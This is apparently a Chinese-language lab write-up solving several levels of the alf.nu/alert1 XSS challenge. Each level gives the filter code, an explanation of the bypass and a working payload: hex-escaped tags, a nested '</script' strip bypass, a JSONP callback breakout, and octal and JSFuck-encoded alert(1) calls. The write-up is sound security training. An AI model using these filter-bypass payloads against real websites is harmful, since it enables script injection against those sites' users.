接續昨天的 XSS Lab(2)-1,今天繼續解 https://alf.nu/alert1
題目:
function escape(s) {
function htmlEscape(s) {
return s.replace(/./g, function(x) {
return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x;
});
}
function expandTemplate(template, args) {
return template.replace(
/{(\w+)}/g,
function(_, n) {
return htmlEscape(args[n]);
});
}
return expandTemplate(
" \n\
<h2>Hello, <span id=name></span>!</h2> \n\
<script> \n\
var v = document.getElementById('name'); \n\
v.innerHTML = '<a href=#>{name}</a>'; \n\
<\/script> \n\
",
{ name : s }
);
}
expandTemplate 自己實作了 template string 的功能
template 字串中找到 {變數名稱} ,替換為 args[變數名稱]
<>&"' 會跳脫成 HTML Entity 的格式解題:
< 的十六進制為 \x3c
> 的十六進制為 \x3e
ANS:
\x3cimg src=1 onerror=alert(1)\x3e
題目:
function escape(s) {
s = JSON.stringify(s).replace(/<\/script/gi, '');
return '<script>console.log(' + s + ');</script>';
}
JSON.stringify 會將 JavaScript 變數轉化為 JSON 格式的字串,本題會先將輸入值丟入 JSON.stringify ,接著還會從中找出所有 </script 字串(大小寫不論),替換為空字串解題:
JSON.stringify 會令我們無法直接使用 " 和 ) 閉合前面的 console.log ,但當語法錯誤時,瀏覽器傾向於將 </script> 優先處理,並顯示前面的字串並未閉合的錯誤。
Error: SyntaxError: "" literal not terminated before end of script
因此我們不需要跳脫" 和 ) ,只要能夠構造出 </script> 即可。本題雖然會將 </script 替換為空字串,但由於沒有反覆檢查,只需要讓 </script 刪除後會產生新的 </script 即可,例如 </</scriptscript 。
成功使用 </script 跳脫後,只要再開一個新的 script 元素,並將後面多餘文字註解即可。
ANS:
</</scriptscript><script>alert(1);//
題目:
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);
if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/\//g, '\\/');
return "<script>" + thing[0] + "(" + json +")</script>";
}
callback 和 userdata ,使用 # 隔開callback 是否僅由字母、 [ 、] 、' 所組成userdata 放入 obj ,建構成一個 Object,再放入 JSON.stringify 轉換為 JSON 字串 json。json 字串中是否有 / ,若有,則全部跳脫為 \/
"<script>" + thing[0] + "(" + json +")</script>"
解法:
根據最後的輸出,可以看到題目是預期我們呼叫 callback 函數,並將 userdata 嵌入到 JSON 字串中作為參數。
隨便輸入一點字,較容易理解,例如 aaaa#bbbb 會輸出:
<script>aaaa({"userdata":"bbbb"})</script>
在 JavaScript 裡, 一個 expression 可以直接作為 statement ,例如 1 + 3; 和 console.log('baba'); 都是有效的 statement。本題我們可以利用這個特性,在 callback 中輸入 ' ,在 userdata 中同樣輸入 ' ,即可將中間的 ({"userdata":" 全部變成字串,接著用分號直接結束這個 statement,即可在後方輸入其他指令,如下所示:
/* 我是字串 */
<script> '({"userdata":"'; alert(1); "})</script>
接下來將後面多餘文字註解掉即可。
ANS:
'#';alert(1)<!--
題目:
function escape(s) {
if (/[<>]/.test(s)) return '-';
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
s 是否有包含 < 或 > ,有的話直接 return -
解題:
console.log 可以用 ");直接跳脫。alert(1):
obj.prop 存取,也可以用 obj['prop'] 存取。Object 而來,包含 Number, Array, Function 都是。\000 。"" 有 at function
""['\141\164']
"".at.constructor('alert(1)')
""['\141\164']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')
() 執行,最後再註解後方文字即可ANS:
"); ""['\141\164']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//
()+[]! 來表示所有 JS 語法
");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()//